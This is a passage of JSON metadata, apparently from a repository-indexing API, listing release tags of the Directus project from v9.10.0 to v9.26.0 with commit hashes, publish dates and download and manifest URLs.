6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.26.0/manifests"},{"name":"v9.25.2","sha":"835b0de89da104e41531337a2edf926509b1d6d2","kind":"commit","published_at":"2023-04-20T14:49:53.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.25.2","html_url":"https://github.com/directus/directus/releases/tag/v9.25.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.25.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.25.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.25.2/manifests"},{"name":"v9.25.1","sha":"c301cfbc82d1ce3ba8dad56800552c4899895b6e","kind":"commit","published_at":"2023-04-13T20:32:58.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.25.1","html_url":"https://github.com/directus/directus/releases/tag/v9.25.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.25.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.25.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.25.1/manifests"},{"name":"v9.25.0","sha":"4f540b03d0cff96c4670ecd5289d97756185eb08","kind":"commit","published_at":"2023-04-13T17:32:44.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.25.0","html_url":"https://github.com/directus/directus/releases/tag/v9.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.25.0/manifests"},{"name":"v9.24.0","sha":"517e7cb55c30ba2f2174a8c1b6f2cb40790b6968","kind":"commit","published_at":"2023-04-04T21:13:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.24.0","html_url":"https://github.com/directus/directus/releases/tag/v9.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.24.0/manifests"},{"name":"v9.23.4","sha":"6b9982eae2c38b2248ea8152294b9a0b5337dd2a","kind":"commit","published_at":"2023-03-24T15:34:21.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.23.4","html_url":"https://github.com/directus/directus/releases/tag/v9.23.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.23.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.4/manifests"},{"name":"v9.23.3","sha":"21a0b910ac25fbf1721cc55d9e3b548a62b8ae63","kind":"commit","published_at":"2023-03-23T18:11:49.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.23.3","html_url":"https://github.com/directus/directus/releases/tag/v9.23.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.23.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.3/manifests"},{"name":"v9.23.2","sha":"59f965cc8d571f0149c88e99be5df50091994c55","kind":"commit","published_at":"2023-03-23T17:40:26.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.23.2","html_url":"https://github.com/directus/directus/releases/tag/v9.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.2/manifests"},{"name":"v9.23.1","sha":"e468f58eecbab0f959261311c8158fc870695ac3","kind":"commit","published_at":"2023-03-01T14:51:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.23.1","html_url":"https://github.com/directus/directus/releases/tag/v9.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.1/manifests"},{"name":"v9.23.0","sha":"47b9824954fd6538406d1ae754ec99f4744e5cff","kind":"commit","published_at":"2023-02-28T17:51:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.23.0","html_url":"https://github.com/directus/directus/releases/tag/v9.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.23.0/manifests"},{"name":"v9.22.4","sha":"065c77dc1d18c57c3f0d5897731825cb089c3abb","kind":"commit","published_at":"2023-01-11T22:05:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.22.4","html_url":"https://github.com/directus/directus/releases/tag/v9.22.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.22.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.4/manifests"},{"name":"v9.22.3","sha":"9f708d67bcc06068fdbb1b08e2bc27bb299450b8","kind":"commit","published_at":"2023-01-11T17:16:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.22.3","html_url":"https://github.com/directus/directus/releases/tag/v9.22.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.22.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.3/manifests"},{"name":"v9.22.2","sha":"b9a5005859fecd1310ffc11e2ac06c3c0611face","kind":"commit","published_at":"2023-01-11T16:27:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.22.2","html_url":"https://github.com/directus/directus/releases/tag/v9.22.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.22.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.2/manifests"},{"name":"v9.22.1","sha":"602f5db4f73101fda2292de3487635b2ae046b49","kind":"commit","published_at":"2022-12-21T22:12:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.22.1","html_url":"https://github.com/directus/directus/releases/tag/v9.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.1/manifests"},{"name":"v9.22.0","sha":"8f0fb8b40f7e3d74afa256be0e8dc0090c848180","kind":"commit","published_at":"2022-12-21T19:33:04.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.22.0","html_url":"https://github.com/directus/directus/releases/tag/v9.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.22.0/manifests"},{"name":"v9.21.2","sha":"d6b8e5963d955769cfe2a721014ca17191d8850c","kind":"commit","published_at":"2022-11-28T20:44:12.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.21.2","html_url":"https://github.com/directus/directus/releases/tag/v9.21.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.21.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.21.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.21.2/manifests"},{"name":"v9.21.1","sha":"51b1daec58cb80b73d06f47785fd1285ee3d1b06","kind":"commit","published_at":"2022-11-28T20:09:00.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.21.1","html_url":"https://github.com/directus/directus/releases/tag/v9.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.21.1/manifests"},{"name":"v9.21.0","sha":"ba00c28bf384d11460a63dbf01e0660b809d997c","kind":"commit","published_at":"2022-11-17T21:31:59.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.21.0","html_url":"https://github.com/directus/directus/releases/tag/v9.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.21.0/manifests"},{"name":"v9.20.4","sha":"13d8dde534873c016aed1d61c61b1043b037bc26","kind":"commit","published_at":"2022-11-03T11:01:46.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.20.4","html_url":"https://github.com/directus/directus/releases/tag/v9.20.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.20.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.4/manifests"},{"name":"v9.20.3","sha":"c70211c48dee133dbf7f19785dcbf5ea9bba158c","kind":"commit","published_at":"2022-11-02T16:12:52.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.20.3","html_url":"https://github.com/directus/directus/releases/tag/v9.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.20.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.3/manifests"},{"name":"v9.20.2","sha":"8242159b4bedf127ef096dfe831681dc3ce9adcb","kind":"commit","published_at":"2022-11-02T12:57:04.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.20.2","html_url":"https://github.com/directus/directus/releases/tag/v9.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.2/manifests"},{"name":"v9.20.1","sha":"b5d7db2ea0ca4c3e3940b5bf2af93fa8674101be","kind":"commit","published_at":"2022-11-02T01:36:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.20.1","html_url":"https://github.com/directus/directus/releases/tag/v9.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.1/manifests"},{"name":"v9.20.0","sha":"15613d58533ef8a5a438a9b9282dc40dca551d99","kind":"commit","published_at":"2022-11-01T23:08:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.20.0","html_url":"https://github.com/directus/directus/releases/tag/v9.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.20.0/manifests"},{"name":"v9.19.2","sha":"7a5560cf97c4436604379d203af17722a8470872","kind":"commit","published_at":"2022-10-24T13:56:51.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.19.2","html_url":"https://github.com/directus/directus/releases/tag/v9.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.19.2/manifests"},{"name":"v9.19.1","sha":"228a5ca15f981f01c7072b641d53e1edf562629a","kind":"commit","published_at":"2022-10-22T17:10:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.19.1","html_url":"https://github.com/directus/directus/releases/tag/v9.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.19.1/manifests"},{"name":"v9.19.0","sha":"97b7357a16f27408f756d804b3e4200954cfa4e3","kind":"commit","published_at":"2022-10-22T16:34:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.19.0","html_url":"https://github.com/directus/directus/releases/tag/v9.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.19.0/manifests"},{"name":"v9.18.1","sha":"cb3d775c4e56313c0643ef367412b0c99e33eec4","kind":"commit","published_at":"2022-09-22T21:12:51.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.18.1","html_url":"https://github.com/directus/directus/releases/tag/v9.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.18.1/manifests"},{"name":"v9.18.0","sha":"8f5750c5c169c70ef71fe9f1f31231dae253f697","kind":"commit","published_at":"2022-09-19T13:39:58.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.18.0","html_url":"https://github.com/directus/directus/releases/tag/v9.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.18.0/manifests"},{"name":"v9.17.4","sha":"7e3ece5d9fc85176b05fc3e467e8728d8e642f71","kind":"commit","published_at":"2022-09-06T20:59:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.17.4","html_url":"https://github.com/directus/directus/releases/tag/v9.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.4/manifests"},{"name":"v9.17.3","sha":"2cb00e8809838f7b12cbb0f1a9cb0e7fe59beeed","kind":"commit","published_at":"2022-09-06T18:16:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.17.3","html_url":"https://github.com/directus/directus/releases/tag/v9.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.3/manifests"},{"name":"v9.17.2","sha":"a04b7335045d54b85e6733c04f4a33bfb924eb8d","kind":"commit","published_at":"2022-09-06T14:54:03.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.17.2","html_url":"https://github.com/directus/directus/releases/tag/v9.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.2/manifests"},{"name":"v9.17.1","sha":"a17a0f4fb980fa548bcd190b1dae9d4d19dbad78","kind":"commit","published_at":"2022-09-05T15:38:28.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.17.1","html_url":"https://github.com/directus/directus/releases/tag/v9.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.1/manifests"},{"name":"v9.17.0","sha":"200c2dd2c749a85a10290c577ef9d9894a671264","kind":"commit","published_at":"2022-09-02T20:17:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.17.0","html_url":"https://github.com/directus/directus/releases/tag/v9.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.17.0/manifests"},{"name":"v9.16.1","sha":"f21f8c4707194d935fe0b484b9bcd925e59e6d74","kind":"commit","published_at":"2022-08-19T13:13:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.16.1","html_url":"https://github.com/directus/directus/releases/tag/v9.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.16.1/manifests"},{"name":"v9.16.0","sha":"58f6a6fcde5c4a731e9ecbc4bb6b94b5daed76df","kind":"commit","published_at":"2022-08-18T20:55:44.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.16.0","html_url":"https://github.com/directus/directus/releases/tag/v9.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.16.0/manifests"},{"name":"v9.15.1","sha":"1ebda96a698b15f46f0fd69dfa6aaacabdc7ce49","kind":"commit","published_at":"2022-08-05T18:50:06.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.15.1","html_url":"https://github.com/directus/directus/releases/tag/v9.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.15.1/manifests"},{"name":"v9.15.0","sha":"3270df00c1b9a5a9eead8071bfb392f3b27066c2","kind":"commit","published_at":"2022-08-04T22:19:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.15.0","html_url":"https://github.com/directus/directus/releases/tag/v9.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.15.0/manifests"},{"name":"v9.14.5","sha":"6e4738e4c0b75ee6030600867f1e6eb6058f34ac","kind":"commit","published_at":"2022-07-22T18:45:15.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.14.5","html_url":"https://github.com/directus/directus/releases/tag/v9.14.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.14.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.5/manifests"},{"name":"v9.14.4","sha":"1b368291eb9a2f0fe090d42481df689b313ca0d8","kind":"commit","published_at":"2022-07-22T14:17:14.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.14.4","html_url":"https://github.com/directus/directus/releases/tag/v9.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.4/manifests"},{"name":"v9.14.3","sha":"cf41b071008b18b32bcddec5872bc535c9ef7d3b","kind":"commit","published_at":"2022-07-21T20:16:14.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.14.3","html_url":"https://github.com/directus/directus/releases/tag/v9.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.3/manifests"},{"name":"v9.14.2","sha":"0890bfc9a5544228caec18413b02037a60fd4c83","kind":"commit","published_at":"2022-07-21T19:23:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.14.2","html_url":"https://github.com/directus/directus/releases/tag/v9.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.2/manifests"},{"name":"v9.14.1","sha":"398839be6e3aff81e20eff349ca9f60557096f03","kind":"tag","published_at":"2022-07-08T09:13:26.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.14.1","html_url":"https://github.com/directus/directus/releases/tag/v9.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.1/manifests"},{"name":"v9.14.0","sha":"d952222058dca96cf823b3e91dc146266ff89bd0","kind":"tag","published_at":"2022-07-07T14:31:24.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.14.0","html_url":"https://github.com/directus/directus/releases/tag/v9.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.14.0/manifests"},{"name":"v9.13.0","sha":"fd55233b1124a2887e04e4418f04c7a7b94398b7","kind":"tag","published_at":"2022-06-28T19:52:32.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.13.0","html_url":"https://github.com/directus/directus/releases/tag/v9.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.13.0/manifests"},{"name":"v9.12.2","sha":"bce19abf6f52adc933ebc4f557e6959aa69d083e","kind":"tag","published_at":"2022-06-09T21:12:28.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.12.2","html_url":"https://github.com/directus/directus/releases/tag/v9.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.12.2/manifests"},{"name":"v9.12.1","sha":"cd58611aa7114dd7ef13f0819f77f9858f34ad1e","kind":"tag","published_at":"2022-06-03T21:52:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.12.1","html_url":"https://github.com/directus/directus/releases/tag/v9.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.12.1/manifests"},{"name":"v9.12.0","sha":"4d63fba50a7cf199e89423365a515e99cecf4ebf","kind":"commit","published_at":"2022-06-03T14:33:52.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.12.0","html_url":"https://github.com/directus/directus/releases/tag/v9.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.12.0/manifests"},{"name":"v9.11.1","sha":"7e9812d04a95272720180d1cd60cfe9ee8075027","kind":"tag","published_at":"2022-05-24T21:50:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.11.1","html_url":"https://github.com/directus/directus/releases/tag/v9.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.11.1/manifests"},{"name":"v9.11.0","sha":"f52da51925296b6e615ae2f048727a391d3a2122","kind":"tag","published_at":"2022-05-19T17:09:51.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.11.0","html_url":"https://github.com/directus/directus/releases/tag/v9.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.11.0/manifests"},{"name":"v9.10.0","sha":"e3a7a7d8879fb7959fb15802734d830001108fbb","kind":"tag","published_at":"2022-05-03T17:05:55.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.10.0","html_url":"https://github.com/directus/directus/releases/tag/v9.10.0","dependencies_p